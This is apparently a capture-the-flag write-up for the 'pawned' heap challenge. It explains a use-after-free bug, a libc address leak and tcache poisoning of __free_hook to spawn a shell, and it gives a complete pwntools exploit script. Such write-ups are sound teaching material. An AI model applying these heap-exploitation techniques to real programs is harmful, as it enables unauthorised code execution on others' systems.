pawned

pawned was a basic heap challenge that consisted on an use-after-free bug.

Files

The binary

The binary has 4 main features, one of them being a secret one that can be found reversing the binary and what those basically do is free, allocate, dump and edit chunks.

When freeing chunks, the pointer isn't removed from the list, creating a use-after-free condition and, potentially, memory leaks as well.

As always, I started by creating a few helper functions.

#!/usr/bin/env python
from pwn import *
import sys

# Defitions
e = context.binary = ELF('./pawned',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',30197)
else:
    io = process(e.path)

def alloc(len,data=''):
    io.sendlineafter('> ','s')
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

def free(idx):
    io.sendlineafter('> ','b')
    io.sendlineafter(': ',str(idx))

def dump():
    io.sendlineafter('> ','p')

def edit(idx,len,data=''):
    io.sendlineafter('> ','m')
    io.sendlineafter(': ',str(idx))
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

Leak libc

If we make a unsorted bin size allocation and then free it, the pointer will still exist but now will point to it's metadata, which contains a pointer to libc main arena, so we can easily leak libc.

    [...]
    alloc(0x600) #1
    alloc(0x10) # 2 avoid top-chunk consolidation
    free(1)
    dump()
    [...]

Then we just need to parse the leak and subtract the offset to get the libc base.

def leak_libc():
    io.recvuntil('Name: ')
    leak = u64(io.recv()[:6].ljust(8,'\x00'))
    return leak - 0x1ebbe0

Tcache poisoning

At this point, all we have to do is to set a tcache list to poison, free one of the chunks in the list then edit the fd pointer by abusing the use-after-free bug so we can allocate in arbitrary memory.

Final exploit

At this point my strategy was pretty simple, allocate at __free_hook , then edit with a pointer to system and free a chunk with /bin/sh in it's contents so when a free is called I'll get a shell.

#!/usr/bin/env python
from pwn import *
import sys

# Defitions
e = context.binary = ELF('./pawned',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',30197)
else:
    io = process(e.path)

def alloc(len,data=''):
    io.sendlineafter('> ','s')
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

def free(idx):
    io.sendlineafter('> ','b')
    io.sendlineafter(': ',str(idx))

def dump():
    io.sendlineafter('> ','p')

def edit(idx,len,data=''):
    io.sendlineafter('> ','m')
    io.sendlineafter(': ',str(idx))
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

# Exploit
def leak_libc():
    io.recvuntil('Name: ')
    leak = u64(io.recv()[:6].ljust(8,'\x00'))
    return leak - 0x1ebbe0

def pwn():
    alloc(0x600) #1
    alloc(0x10) # 2 avoid top-chunk consolidation
    free(1)
    dump()
    libc.address = leak_libc()
    io.sendline('0') # realign I/O stream
    log.success('Libc: ' + hex(libc.address))
    alloc(0x40) #3
    alloc(0x40) #4 tcache poison
    alloc(0x40) #5
    free(3)
    free(4)
    edit(4,0x40,p64(libc.address + 0x1eeb28))
    free(2)
    alloc(0x40,'/bin/sh') #6
    alloc(0x40,p64(libc.sym['system'])) #6
    free(6)
    io.recv(1024)

pwn()
io.interactive()

Last updated